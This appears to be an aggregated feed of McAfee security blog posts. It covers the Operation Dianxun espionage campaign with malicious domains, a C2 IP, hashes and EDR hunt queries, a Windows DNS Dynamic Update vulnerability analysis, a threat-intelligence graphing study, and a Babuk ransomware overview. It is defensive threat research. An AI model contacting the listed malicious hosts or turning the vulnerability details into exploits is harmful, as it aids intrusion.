Moreover, the sample masquerading as the Flash application used the malicious domain name “flach.cn” which was made to look like the official web page for China to download the Flash application, flash.cn. One of the main differences from past attacks is the lack of use of the PlugX backdoor. However, we did identify the use of a Cobalt Strike backdoor.
By using McAfee’s telemetry, possible targets based in Southeast Asia, Europe, and the US were discovered in the telecommunication sector. We also identified a strong interest in German, Vietnamese and India telecommunication companies. Combined with the use of the fake Huawei site, we believe with a high level of confidence that this campaign was targeting the telecommunication sector. We believe with a moderate level of confidence that the motivation behind this specific campaign has to do with the ban of Chinese technology in the global 5G roll-out.
Activity linked to the Chinese group RedDelta, by peers in our industry, has been spotted in the wild since early May 2020. Previous attacks have been described targeting the Vatican and religious organizations.
In September 2020, the group continued its activity using decoy documents related to Catholicism, Tibet-Ladakh relations and the United Nations General Assembly Security Council, as well as other network intrusion activities targeting the Myanmar government and two Hong Kong universities. These attacks mainly used the PlugX backdoor using DLL side loading with legitimate software, such as Word or Acrobat, to compromise targets.
While external reports have given a new name to the group which attacked the religious institutions, we believe with a moderate level of confidence, based on the similarity of TTPs, that both attacks can be attributed to one known threat actor: Mustang Panda.
We believe the best way to protect yourself from this type of attack is to adopt a multi-layer approach including MVISION Insights, McAfee Web Gateway, MVISION UCE and MVISION EDR.
MVISION Insights can play a key role in risk mitigation by proactively collecting intelligence on the threat and your exposure.
McAfee Web Gateway and MVISION UCE provide multi-layer web vector protection with URL Reputation check, SSL decryption, and malware emulation capabilities for analyzing dangerous active Web content such as Flash and DotNet. MVISION UCE also includes the capabilities of Remote Browser Isolation, the only solution that can provide 100% protection during web browsing.
McAfee Endpoint Security running on the target endpoint protects against Operation Dianxun with an array of prevention and detection techniques. ENS Threat Prevention and ATP provides both signature and behavioral analysis capability which proactively detects the threat. ENS also leverages Global Threat Intelligence which is updated with known IoCs. For DAT based detections, the family will be reported as Trojan-Cobalt, Trojan-FSYW, Trojan-FSYX, Trojan-FSZC and CobaltStr-FDWE.
As the last phase of the attack involves creating a backdoor for remote control of the victim via a Command and Control Server and Cobalt Strike Beacon, the blocking features that can be activated on a Next Generation Intrusion Prevention System solution such as McAfee NSP are important, NSP includes a Callback Detection engine and is able to detect and block anomalies in communication signals with C2 Servers.
MVISION EDR can proactively identify persistence and defense evasion techniques. You can also use MVISION EDR to search the indicators of compromise in Real-Time or Historically (up to 90 days) across enterprise systems.
Learn more about Operation Diànxùn, including Yara & Mitre ATT&CK techniques, by reading our technical analysis and Defender blog.
We assess with a high level of confidence that:
We assess with a moderate level of confidence that:
PLEASE NOTE: We have no evidence that the technology company Huawei was knowingly involved in this Campaign.
McAfee Advanced Threat Research (ATR) is actively monitoring this threat and will update as its visibility into the threat increases.
The post Operation Diànxùn: Cyberespionage Campaign Targeting Telecommunication Companies appeared first on McAfee Blogs.
In a recent report the McAfee Advanced Threat Research (ATR) Strategic Intelligence team disclosed an espionage campaign, targeting telecommunication companies, named Operation Diànxùn.
The tactics, techniques and procedures (TTPs) used in the attack are like those observed in earlier campaigns publicly attributed to the threat actors RedDelta and Mustang Panda. Most probably this threat is targeting people working in the telecommunications industry and has been used for espionage purposes to access sensitive data and to spy on companies related to 5G technology.
While the initial vector for the infection is not entirely clear, the McAfee ATR team believes with a medium level of confidence that victims were lured to a domain under control of the threat actor, from which they were infected with malware which the threat actor leveraged to perform additional discovery and data collection. It is our belief that the attackers used a phishing website masquerading as the Huawei company career page.
So, how can I defend my organization as effectively as possible from an attack of this type, which involves different techniques and tactics and potential impact? To answer this question, we believe it is necessary to have a multi-layer approach and analyze the various steps, trying to understand the best way to deal with them one by one with an integrated security architecture. Below is a summary of how McAfee’s Security Architecture helps you to protect against the tactics and techniques used in Operation Dianxun.
The goal is to shift-left and block or identify a threat as soon as possible within the Kill Chain to limit any further damage. Shifting-left starts with MVISION Insights, which proactively collects intelligence on the threat and provides details on the indicators of compromise and the MITRE techniques used in the attack. MVISION Insights combines McAfee’s Threat Intelligence research with telemetry from your endpoint controls to reduce your attack surface against emerging threats. MVISION Insights tracks over 800+ Advanced Persistent Threat and Cyber Crime campaigns as researched by McAfee’s ATR team, including Operation Dianxun, sharing a quick summary of the threat, providing external resources, and a list of known indicators such as files, URLs, or IP addresses.
As a threat intelligence analyst or responder, you can drill down into the MVISION Insights interface to gather more specific information on the Operation Dianxun campaign, verify the associated severity, check for geographical prevalence and links to other sources of information. Moreover, MVISION Insights provides useful information like the McAfee products coverage with details of minimum AMCore version; this kind of information is handy to verify actual defensive capabilities within the enterprise and could raise the risk severity in case of weak coverage.
Additional information is available to further investigate on IoCs and MITRE Techniques associated to the campaign. IoCs can be also exported in STIX2 format to be ingested in other tools for automating responses or updating defenses.
The first step ahead of identification is to ensure our architecture can stop or identify the threat in the initial access vector. In this case, the initial delivery vector is a phishing attack so the web channel is therefore fundamental in the initial phase of the infection. McAfee Web Gateway and MVISION UCE provide multi-layer web vector protection with URL Reputation check, SSL decryption, and malware emulation capabilities for analyzing dangerous active Web content.
MVISION UCE also includes the capabilities of Remote Browser Isolation (RBI), the only solution that can provide 100% protection during web browsing. Remote Browser Isolation is indeed an innovative new technology that contains web browsing activity inside an isolated cloud environment in order to protect users from any malware or malicious code that may be hidden on a website. RBI technology provides the most powerful form of web threat protection available, eliminating the opportunity for malicious code to even touch the end user’s device.
The green square around the page means that the web content is isolated by RBI and provided safely through a rendered dynamic visual stream which delivers full browsing experience without risk of infection.
The second phase of exploitation and persistence results from execution on the victim endpoint of Flash-based artifacts malware and, later, DotNet payload. McAfee Endpoint Security running on the target endpoint protects against Operation Dianxun with an array of prevention and detection techniques. ENS Threat Prevention and ATP provides both signature and behavioral analysis capability which proactively detects the threat. ENS also leverages Global Threat Intelligence which is updated with known IoCs. For DAT based detections, the family will be reported as Trojan-Cobalt, Trojan-FSYW, Trojan-FSYX, Trojan-FSZC and CobaltStr-FDWE.
While the execution of the initial fake Flash installer acts mainly like a downloader, the DotNet payload contains several functions and acts as a utility to further compromise the machine. This is a tool to manage and download backdoors to the machine and configure persistence. Thus, the McAfee Endpoint Security Adaptive Threat Protection machine-learning engine triggers detection and blocks execution on its behavior-based analysis.
The last phase of the attack involves creating a backdoor for remote control of the victim via a Command and Control Server and Cobalt Strike Beacon. In this case, in addition to the detection capabilities present at the McAfee Endpoint Security level, detections and blocking features that can be activated on a Next Generation Intrusion Prevention System solution such as McAfee NSP are important. NSP includes a Callback Detection engine and is able to detect and block anomalies in communication signals with C2 Servers.
We demonstrated above how a well defended architecture can thwart and counteract such an attack in each single phase. McAfee Web Gateway and MVISON Unified Cloud Edge can stop the initial entry vector, McAfee Endpoint Protection Platform can block the dropper execution or disrupt the following malicious activities but, only by using MVISION EDR, can you get extensive visibility on the full kill chain.
On MVISION EDR we have the threat detection on the monitoring dashboard for the two different stages and processes of the attack.
Once alerted, the security analyst can dig into the Process Activity and understand behavior and indicators relative to what happened like:
The initial downloader payload flashplayer_install_cn.exe is executed directly by the user and spawned by svchost.exe.
At first it connects back to hxxp://update.flach.cn registering to the c2 and creates a new executable file, flash.exe, in the Windows/temp folder.
Then the sample checks the time and the geolocalization of the infected machine via a request to http://worldclockapi.com.
Next, it connects back to the fake Huawei website “hxxp:\\update.careerhuawei.net” used for the initial phishing attack.
Finally, to further completion, you can also use MVISION EDR to search the indicators of compromise in Real-Time or Historically (up to 90 days) across the enterprise systems.
Looking for other systems with evidence of connection to the fake Huawei website:
HostInfo hostname, ip_address and NetworkFlow src_ip, proto, time, process, md5, user where NetworkFlow dst_ip equals “8.210.186.138”
Looking for indicators of the initial downloader payload linked to this campaign.
HostInfo and Files name, full_name, create_user_name, sha1, md5, sha256 where Files sha256 equals “422e3b16e431daa07bae951eed08429a0c4ccf8e37746c733be512f1a5a160a3” or Files sha256 equals “8489ee84e810b5ed337f8496330e69d6840e7c8e228b245f6e28ac6905c19f4a ” or Files sha256 equals “c0331d4dee56ef0a8bb8e3d31bdfd3381bafc6ee80b85b338cee4001f7fb3d8c” or Files sha256 equals “89a1f947b96b39bfd1fffd8d0d670dddd2c4d96f9fdae96f435f2363a483c0e1” or Files sha256 equals “b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429” or Files sha256 equals “9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5” or Files sha256 equals “4e7fc846be8932a9df07f6c5c9cbbd1721620a85c6363f51fa52d8feac68ff47” or Files sha256 equals “0f2e16690fb2ef2b5b4c58b343314fc32603364a312a6b230ab7b4b963160382” or Files sha256 equals “db36ad77875bbf622d96ae8086f44924c37034dd95e9eb6d6369cc6accd2a40d” or Files sha256 equals “8bd55ecb27b94b10cb9b36ab40c7ea954cf602761202546f9b9e163de1dde8eb” or Files sha256 equals “7de56f65ee98a8cd305faefcac66d918565f596405020178aee47a3bd9abd63c” or Files sha256 equals “9d4b4c39106f8e2fd036e798fc67bbd7b98284121724c0f845bca0a6d2ae3999” or Files sha256 equals “ac88a65345b247ea3d0cfb4d2fb1e97afd88460463a4fc5ac25d3569aea42597” or Files sha256 equals “37643f752302a8a3d6bb6cc31f67b8107e6bbbb0e1a725b7cebed2b79812941f” or Files sha256 equals “d0dd9c624bb2b33de96c29b0ccb5aa5b43ce83a54e2842f1643247811487f8d9” or Files sha256 equals “260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b” or Files sha256 equals “e784e95fb5b0188f0c7c82add9a3c89c5bc379eaf356a4d3876d9493a986e343” or Files sha256 equals “a95909413a9a72f69d3c102448d37a17659e46630999b25e7f213ec761db9e81” or Files sha256 equals “b7f36159aec7f3512e00bfa8aa189cbb97f9cc4752a635bc272c7a5ac1710e0b” or Files sha256 equals “4332f0740b3b6c7f9b438ef3caa995a40ce53b3348033b381b4ff11b4cae23bd”
Look back historically for domain name resolution and network connection to the involved indicators.
To defeat targeted threat campaigns like Operation Dianxun, defenders must build an adaptive and integrated security architecture which will make it harder for threat actors to succeed and increase resilience in the business. This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to Operation Dianxun and attackers using similar techniques.
McAfee ATR is actively monitoring this campaign and will continue to update McAfee Insights and its social networking channels with new and current information. Want to stay ahead of the adversaries? Check out McAfee Insights for more information.
The post McAfee Defender’s Blog: Operation Dianxun appeared first on McAfee Blogs.
For the March 2021 Patch Tuesday, Microsoft released a set of seven DNS vulnerabilities. Five of the vulnerabilities are remote code execution (RCE) with critical CVSS (Common Vulnerability Scoring Standard) scores of 9.8, while the remaining two are denial of service (DoS). Microsoft shared detection guidance and proofs of concept with MAPP members for two of the RCE vulnerabilities, CVE-2021-26877 and CVE-2021-26897, which we have confirmed to be within the DNS Dynamic Zone Update activity. Microsoft subsequently confirmed that all seven of the DNS vulnerabilities are within the Dynamic Zone Update activity.
We confirmed from our analysis of CVE-2021-26877 and CVE-2021-26897, in addition to further clarification from Microsoft, that none of the five DNS RCE vulnerabilities are wormable.
RCE vulnerabilities
CVE-2021-26877, CVE-2021-26897 (exploitation more likely)
CVE-2021-26893, CVE-2021-26894, CVE-2021-26895 (exploitation less likely)
DoS vulnerabilities
CVE-2021-26896, CVE-2021-27063 (exploitation less likely)
A critical CVSS score of 9.8 means that an attacker can remotely compromise a DNS server with no authentication or user interaction required. Successful exploitation of these vulnerabilities would lead to RCE on a Primary Authoritative DNS server. While CVSS is a great tool for technical scoring, it needs to be taken in context with your DNS deployment environment to understand your risk which we discuss below.
We highly recommend you urgently patch your Windows DNS servers if you are using Dynamic Updates. If you cannot patch, we recommend you prioritize evaluating your exposure. In addition, we have developed signatures for CVE-2021-26877 and CVE-2021-26897 which are rated as “exploitation more likely” by Microsoft.
Per the NIST “Secure Domain Name System (DNS) Deployment Guide”, DNS threats can be divided into Platform and Transaction Threats. The platform threats can be classed as either DNS Host Platform or DNS Software Threats. Per Table 1 below, Dynamic Update is one of the four DNS Transaction types. The seven DNS vulnerabilities are within the Dynamic Update DNS transaction feature of Windows DNS Software.
Table 1: DNS Transaction Threats and Security Objectives
The DNS Dynamic Zone Update feature allows a client to update its Resource Records (RRs) on a Primary DNS Authoritative Server, such as when it changes its IP address; these clients are typically Certificate Authority (CA) and DHCP servers. The Dynamic Zone Update feature can be deployed on a standalone DNS server or an Active Directory (AD) integrated DNS server. Best practice is to deploy DNS integrated with (AD) so it can avail itself of Microsoft security such as Kerberos and GSS-TSIG.
When creating a Zone on a DNS server there is an option to enable or disable DNS Dynamic Zone Updates. When DNS is deployed as a standalone server, the Dynamic Zone Update feature is disabled by default but can be enabled in secure/nonsecure mode. When DNS is deployed as AD integrated, the Dynamic Zone Update feature is enabled in secure mode by default.
Secure Dynamic Zone Update verifies that all RR updates are digitally signed using GSS-TSIG from a domain-joined machine. In addition, more granular controls can be applied on what principal can perform Dynamic Zone Updates.
Insecure Dynamic Zone Update allows any machine to update RRs without any authentication (not recommended).
From a Threat Model perspective, we must consider Threat Actor motives, capabilities, and access/opportunity, so you can understand the risk relative to your environment. We are not aware of any exploitation in the wild of these vulnerabilities so we must focus on the access capabilities, i.e., close the door on the threat actor opportunity. Table 2 summarizes DNS Dynamic Update deployment models relative to the opportunity these RCE vulnerabilities present.
Table 2: Threat Actor access relative to deployment models and system impact
The highest risk deployment would be a DNS server in Dynamic Update insecure mode exposed to the internet; this is not best security practice and based on our experience, we do not know of a use case for such deployment.
Deploying AD integrated DNS Dynamic Update in secure mode (default) mitigates the risk of an unauthenticated attacker but still has a high risk of a compromised domain computer or trusted insider being able to achieve RCE.
All the vulnerabilities are related to the processing of Dynamic Update packets in dns.exe. The goal of our vulnerability analysis, as always for critical industry vulnerabilities, is to ensure we can generate accurate signatures to protect our customers.
Figure 1: Wireshark view of exploit packet classifying the DNS packet as malformed
Figure 2: WinDbg output of crash while attached to dns.exe
FreshRSS 
File_PlaceStringInFileBuffer() function copies data from TXT_data allocated from CopyWireRead() function previously. However, the UpdateRR->TXT length value from Wireshark is not validated and used to copy from *UpdateRR->Data length. Because UpdateRR->TXT length is not validated relative to UpdateRR->Data length it results in a OOB read from heap memory.
Figure 3: Packet containing many consecutive Signature RR dynamic updates. Pay special attention to the length field of the reassembled flow.
Exploiting these vulnerabilities remotely requires both read and write primitives in addition to bypassing Control Flow Guard (CFG) for execution. The DNS protocol has significant remote unauthenticated attack surface to facilitate generating such primitives which has been researched as part of CVE-2020-1350 (SigRed). In addition, per the RR_DispatchFuncForType() function, there are read and write functions as part of its dispatch table.
Figure 4: Path of DNS RR update packet
Figure 5: Dispatch functions for reading and writing
Patching is always the first and most effective course of action. If it’s not possible to patch, the best mitigation is to audit your DNS deployment configuration to limit Dynamic Zone Updates to trusted servers only. For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of both vulnerabilities, CVE-2021-26877 and CVE-2021-26897.
NSP Attack ID: 0x4030e700 – DNS: Windows DNS Server Remote Code Execution Vulnerability (CVE-2021-26877)
NSP Attack ID: 0x4030e800 – DNS: Windows DNS Server Remote Code Execution Vulnerability (CVE-2021-26897)
In addition, NIST “Secure Domain Name System (DNS) Deployment Guide” provides best practices for securing DNS deployment such as:
The post Seven Windows Wonders – Critical Vulnerabilities in DNS Dynamic Updates appeared first on McAfee Blogs.
John Lambert, a distinguished researcher specializing in threat intelligence at Microsoft, once said these words that changed perspectives: “Defenders think in lists. Attackers think in graphs.” This is true and, while it remains that way, attackers will win most of the time. However, the true power of graphs does not only reside in constructing them, but also in how we build them and what we do with them. For that, we need to reflect upon the nature of the data and how we can use graphs to make sense of it. I presented on this premise at the MITRE ATT&CKcon Power Hour held in January 2021.
At McAfee Advanced Threat Research (ATR), all threat intelligence relating to current campaigns, potential threats, and past and present attacks, is collated and normalized into a single truth, namely a highly redundant, scalable relational database instance, and disseminated into different categories, including but not limited to MITRE ATT&CK techniques involved, tools used, threat actor responsible, and countries and sectors targeted. This information is a subset of the data available in McAfee MVISION Insights. Much can be learned from looking at historical attack data, but how can we piece all this information together to identify new relationships between threats and attacks? We have been collecting and processing data for many years but identifying patterns quickly and making sense of the complete dataset as a whole has proven to be a real challenge.
In our recent efforts, we have embraced the analysis of threat intelligence using graphical representations. One key takeaway is that it is not just about mapping out intelligence about campaigns and threats into graphs; the strength lies in studying our datasets and applying graph algorithms to answer questions about the data.
In this paper, we provide an extensive description of the dataset derived from the threat intelligence we collect. We establish the methodology applied to validate our dataset and build our graphical representations. We then showcase the results obtained from our research journey as defenders thinking in graphs instead of lists.
The first section explains the kind of data we have at our disposal. The second section describes the goal of our research and the kind of questions we want to answer. Sections 3 and 4 establish the methodology used to process our dataset and to validate that we can actually do something useful with it by using graphs. The fifth section describes the process of building graphs, and Section 6 shows how we use these graphs to answer the questions laid out in Section 2. Section 7 introduces an additional research element to add more granularity to our experiment, and Section 8 shares the limitations of our research and potential ways to compensate for them. Sections 9 and 10 conclude this research with some reflections and proposed future work.
Our dataset consists of threat intelligence, either collected by or shared with our team, is piped into our internal MISP instance and published to relevant stakeholders. This data concerns information about campaigns, crimeware or nation-state attacks that are currently going on in the world, from potential or reoccurring threat (groups). The data is split into multiple categories used to establish everything we know about the four basic questions of what, who, where, and how. For example, certain attacks on countries in the Middle East have been conducted by the group MuddyWater and have targeted multiple companies from the oil and gas and telecom industries, leveraging spear phishing campaigns. The dataset used for this research is a collection of the answers to these four basic questions about each event.
The quantity of data we have makes it almost impossible to make sense in one pass. Information is scattered across hundreds of events, in a database that does not necessarily enable us to connect each piece of information we have in relevant patterns. The goal of this research is to create a methodology for us to quickly connect and visualize information, identify patterns in our data that could reveal trends in, for example, actor behaviour or MITRE technique usage. In this paper, we specifically focus on actor trends and MITRE technique usage.
By providing such tooling, we can answer questions about frequency of actors or techniques, popularity of techniques across actors, and patterns of behaviour in technique usage among actors. These questions are laid out as such:
These questions are not exhaustive of everything that can be achieved using this methodology, but they reveal an example of what is possible.
As we are proposing a way to build graphs to make sense of the data we have, we first need to validate our dataset to make sure graphs will deliver something useful. For that, we need to look at expected density and connectivity of the graph. Should our dataset be too dense and overly connected, building graphs will not result in something that can be made sense of.
After establishing that our dataset is graphable, we can focus on how exactly we will graph it. We need to establish what our nodes are and what defines our edges. In this case, we propose two representations: an event-centric view and actor-centric view, respectively taking events and actors as points of reference.
Once we have built our graphs, we investigate different techniques and algorithms to answer the questions laid out in the previous section. This experiment provides us insights into our data, but also into what we are missing from our data that could give us even more information.
The tooling used for this research is an internal tool referred to as Graph Playground that provides users with the possibility to build client-side undirected graphical visualizations in their browser, based on CSV or JSON files. This software also offers a toolbox with analysis techniques and algorithms to be used on the graphs.
Before building proper graphical representations, we need to assess whether the dataset is a good fit. There are a few metrics that can indicate that the dataset is not necessarily fit for graphs, one of which being the average number of connections (edges) per node:
This average gives us an approximate indication of how many edges per node we can expect. Another useful metric is graph density, defined as the number of edges divided by the total number of possible edges for an undirected simple graph. This is normally calculated using the following formula:
It is a simple equation, but it can already give great insights as to what the graph is going to look like. A graph with high density might be a super connected graph where every node relates to one another in some way. It can be great for visualisation but will not provide us with anything useful when it comes to identifying patterns or differentiating between the different components of the graph.
Based on the data at hand, one intuitive way to build graphs is using a threat event as a central node and connected nodes that represent MITRE techniques, threat actors, tools, countries, and sectors to that event node.
Figure 1: Graph representation of the data
Figure 1 depicts the initial graphical representation using each event and associated metadata registered in MISP. Relationships between event nodes and other nodes are defined as follows: techniques and tools are used in one event that is attributed to a specific actor and involves a threat or attack on certain countries and sectors.
Based on the representation and our dataset, the number of nodes obtained is |N| = 1,359 and the total number of edges is |E| = 12,327. In our case, because only event nodes are connected to other nodes, if we want to check for the average number of edges per node, we need to look specifically at event nodes. In the obtained graph g, this average is equal to:
To calculate the density, we also need to account for the fact that only event nodes have connections. The density of the obtained graph g is then equal to:
Density always results in a number between 0 and 1. With an average of 18 edges per event node and a graph density of 0.053, we can expect the resulting graph to be relatively sparse.
Figure 2: Full representation of 705 MISP events
The full graph obtained with this representation in Figure 2, against our predictions, looks much denser than expected. It has an obvious central cluster that is busy with nodes that are highly interconnected, consisting mostly of event and technique nodes. In Figure 3, we discard MITRE technique nodes, leaving event, country, sector, and tool nodes, to demonstrate where the low-density calculation comes from.
Figure 3: Representation without MITRE technique nodes
Removing MITRE technique nodes results in a much less dense graph. This may be an indication that some event and technique nodes are highly interconnected, meaning there may be a lot of overlap between events and techniques used.
Figure 4: Representation with only event and MITRE technique nodes
Figure 4 proves this statement by showing us a large cluster of interconnected event and technique nodes. There is a set of events that all appear to be using the same technique. It would be interesting to isolate this cluster and take note of exactly which techniques these are, but this research takes us down another road.
Based on the data we have, which mostly consists of events relating to crimeware, we choose to disregard country and sector information in our graphical analyses. This is because these campaigns are most often sector and country-agnostic, based on historical observation. Therefore, we proceed without country and sector data. This allows us to perform some noise reduction, keeping events as points of reference.
We can also take this a step further and collapse event nodes to switch the focus to actor nodes with regard to tools and MITRE techniques used. This results in two different representations derived from the original graph.
Removing country and sector nodes, we are left with event nodes connected to actor, technique, and tool nodes. Figure 5 illustrates this representation.
Figure 5: Representation without country and sector nodes
This resulting representation is an event-centric view, and it can help us answer specific questions about frequency of actors involved, techniques or tools used during recorded attacks and campaigns.
Figure 6: Event-centric view
The graph in Figure 6 is very similar to the original one in Figure 2, but the noise that is not of real interest at this stage has been removed, so that we can really focus on events regarding actors, techniques, and tools.
Another possible representation, because the data we have about countries and sectors is very sparse, is to center the graph around actor nodes, connected to techniques and tools.
Figure 7: Collapsed presentation of actors, techniques, and tools
Figure 7 establishes the relationship between the three remaining nodes: actor, technique, and tools. The resulting graph is displayed in Figure 8.
Figure 8: Actor-centric view
These two ways to build graphs based on our data provide an event-centric view and an actor-centric view and can be used to answer different questions about the gathered intelligence.
Based on the two generated views for our data, we demonstrate how certain algorithms and graph-related techniques can be used to answer the questions posed in Section 2. Each view provides insights on frequency, popularity, or pattern questions.
Which techniques are observed most often?
To answer questions about the frequency of techniques used, we need to take the event-centric view, because we are directly addressing how often we have observed techniques being used. Therefore, we take this view and look at the degree of nodes in the graph. Nodes with a high degree are nodes with more connections. A MITRE technique node with a very high degree is a node that is connected to a high number of events.
Figure 9: Degree analysis on the event-centric view with a focus on techniques
Figure 9 shows us the application of degree analysis on the event-centric view, revealing techniques like Spearphishing Attachment and Obfuscated Files or Information as the most often observed techniques.
Which actors are the most active?
The same degree analysis can be used on this view to identify which actors have most often been recorded.
Figure 10: Degree analysis on the event-centric view with a focus on actors
Based on the results displayed in Figure 10, Sofacy, Lazarus Group, and COVELLITE are the most recorded actors across our data.
Which techniques are the most common across actors?
To answer questions about popularity of techniques across actors, we need to look at the actor-centric view, because it will show us how techniques and actors relate to one another. While degree analysis would also work, we can make use of centrality algorithms that measure how much control a certain node has over a network, or in other terms: how popular a certain node is.
Figure 11: Centrality algorithm used on the actor-centric view
Running centrality algorithms on the graph shows us that Obfuscated Files or Information and User Execution are two of the most popular techniques observed across actors.
Can we identify groups of actors using the same techniques?
The keyword here is groups of actors, which insinuates that we are looking for clusters. To identify groups of actors who use the same techniques, we can attempt to use clustering algorithms to isolate actors who behave the same way. We need to apply these algorithms on the actor-centric view. However, we also see that our actor-centric view in Figure 8 has quite a dense bundle of nodes, and this could make the building of clusters more difficult.
Figure 12: Clustering algorithm used on the actor-centric view
Louvain Clustering is a community detection technique that builds clusters based on edge density; Figure 12 shows us the results of running this algorithm. We see that it was possible to build some clusters, with a clear distinction between the orange cluster and the bundle of nodes, but it is not possible to verify how accurate our clusters are, because of the density of the subgraph where all the nodes seem to be interconnected.
We can draw two conclusions from this:
This takes us to the last important question:
Are actors using techniques in the same way?
With the information currently at our disposal, we cannot really assess whether a technique was used in the same way. It would be ideal to specify how an actor used a certain technique and encode that into our graphs. In the next section, we introduce an additional element to hopefully provide more granularity so we can better differentiate actors.
To provide more granularity and hopefully answer the question about actors using techniques in the same way, we embed killchain step information into our graphs. A certain attack can be used for multiple killchain steps. We believe that adding killchain step information to specify where an attack is used can help us better differentiate between actors.
Figure 13: Representation that introduces a killchain step node
This is a slight modification that occurs on our actor-centric view. The resulting graph should provide us with more granularity with regards to how a technique, that is present at multiple steps, was really used.
Figure 14: Actor-centric view with killchain information
The resulting graph displayed in Figure 14 is, for lack of a better word, disappointing. That is because killchain step information has not provided us with more granularity, which in turn is because of our dataset. Unfortunately, MISP does not let users specify when a technique is used in one specific step of the killchain, if that technique can occur in multiple steps. When recording an observed MITRE technique that can occur in multiple steps, all steps will be recorded with that technique.
MISP provides granularity in terms of MITRE sub-techniques, but there is no built-in differentiation on the killchain steps. It is not yet possible to specify exactly at which step a technique present in multiple steps is used. This removes a certain level of granularity that could be useful in the actor-centric view to differentiate even more between actors. If such differentiation existed, the actor-centric view could be collapsed into:
Additionally, based on the data at hand, it is clear that actors tend to use the same techniques overall. The question of whether using MITRE techniques to differentiate between actors is actually useful then comes to mind. Perhaps it can be used to discard some noticeably different actors, but not most?
Limitations of our research also lie in the tooling used. The Graph Playground is great for quick analyses, but more extensive manipulations and work would require a more malleable engine.
Lastly, our research focused on MISP events, threat actors, and MITRE techniques. While most questions about frequency, popularity, and pattern recognition can be answered the same way for tools, and even country and sector, the list of what is achievable with graphs is definitely not exhaustive.
Building graphs the right way helps us visualize our large dataset almost instantly, and it helps us make sense of the data we see. In our case, right means the way that is most relevant to our purpose. By having sensical and relevant representations, we can connect cyber threats, campaigns, and attacks to threat actors involved, MITRE techniques used, and more.
Graphical representations are not just about piping all our data into one visualization. We need to think of how we should build our graphs to get the most out of them, while attempting to maintain satisfactory performance when scaling those graphs. Graphs with thousands of nodes often take long to render, depending on the visualization engine. The Graph Playground generates graphs from a file on the client-side, in the browser. This makes the generation incredibly fast.
Certain aspects of our research require an event-centric view, while others may, for example, require an actor-centric view. We also need to assess whether building graphs is useful in the first place. Highly dense and connected data will result in graphs that cannot be used for anything particularly interesting for our analyses of threat intelligence.
Our research has proven fruitful in the sense that much can be gained from translating our dataset to adequate representations. However, we lack a certain granularity-level that could help us differentiate between certain aspects of our data even more.
To add to John Lambert’s quote, “Defenders think in lists. Attackers think in graphs. And Threat Intelligence analysts build proper graphs and exhaustively use them.”
As mentioned, we have encountered a granularity issue that is worth looking into for future research. It would be interesting to consider incorporating analysis results from EDR engines, to isolate where a specific MITRE ATT&CK technique was used. This would provide much deeper insights and potentially even more data we can include in our visualizations. Should we succeed and process this information into our graphs, we would be able to better differentiate between actors that otherwise seem to behave the same.
We can also shift our perspective and include country and sector information but, for that, we need to exclude all crimeware-related events that are sector or country-agnostic and include only campaigns that have specific targets. Only then will such representation be useful for further analysis.
Another point worth mentioning for future work would be to consider incorporating additional resources. The Intezer OST Map, which is open source, provides insights on tools used by threat actors for well-known campaigns. It would be interesting to merge the Intezer dataset with our own and experiment with our graph representations based on this new dataset.
The post McAfee ATR Thinks in Graphs appeared first on McAfee Blogs.
Babuk ransomware is a new ransomware threat discovered in 2021 that has impacted at least five big enterprises, with one already paying the criminals $85,000 after negotiations. As with other variants, this ransomware is deployed in the network of enterprises that the criminals carefully target and compromise. Using MVISION Insights, McAfee was able to plot the telemetry of targets, revealing that the group is currently targeting the transportation, healthcare, plastic, electronics, and agricultural sectors across multiple geographies.
Figure 1. Infection map (source: MVISION Insights)
McAfee’s EPP solution covers Babuk ransomware with an array of prevention and detection techniques.
ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-Babuk!<hash>. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
Initially, in our research the entry vector and the complete tactics, techniques and procedures (TTPs) used by the criminals behind Babuk remained unclear.
However, when its affiliate recruitment advertisement came online, and given the specific underground meeting place where Babuk posts, defenders can expect similar TTPs with Babuk as with other Ransomware-as-a-Service families.
In its recruitment posting Babuk specifically asks for individuals with pentest skills, so defenders should be on the lookout for traces and behaviors that correlate to open source penetration testing tools like winPEAS, Bloodhound and SharpHound, or hacking frameworks such as CobaltStrike, Metasploit, Empire or Covenant. Also be on the lookout for abnormal behavior of non-malicious tools that have a dual use, such as those that can be used for things like enumeration and execution, (e.g., ADfind, PSExec, PowerShell, etc.) We advise everyone to read our blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).
Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common amongst ransomware criminals:
When it comes to the actual ransomware binary, we strongly advise updating and upgrading your endpoint protection, as well as enabling options like tamper protection and rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.
Learn more about the inner working of Babuk, underground forum activity, Yara Rules, Indicators of Compromise & Mitre ATT&CK techniques used by reading our detailed technical analysis.
Learn more about the inner working of Babuk, underground forum activity, Yara Rules, Indicators of Compromise & Mitre ATT&CK techniques used.
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The post Babuk Ransomware appeared first on McAfee Blogs.
On February 17th, 2021, McAfee disclosed findings based on a 10-month long disclosure process with major video conferencing vendor Agora, Inc. As we disclosed the findings to Agora in April 2020, this lengthy disclosure timeline represents a nonstandard process for McAfee but was a joint agreement with the vendor to allow sufficient time for the development and release of a secure SDK. The release of the SDK mitigating the vulnerability took place on December 17th, 2020. Given the implications of snooping and spying on video and audio calls, we felt it was important to provide Agora the extended disclosure time. The affected users of Agora include popular voice and video messaging apps, with one notable application being the popular new iOS app known as Clubhouse.
Clubhouse Application Screenshot
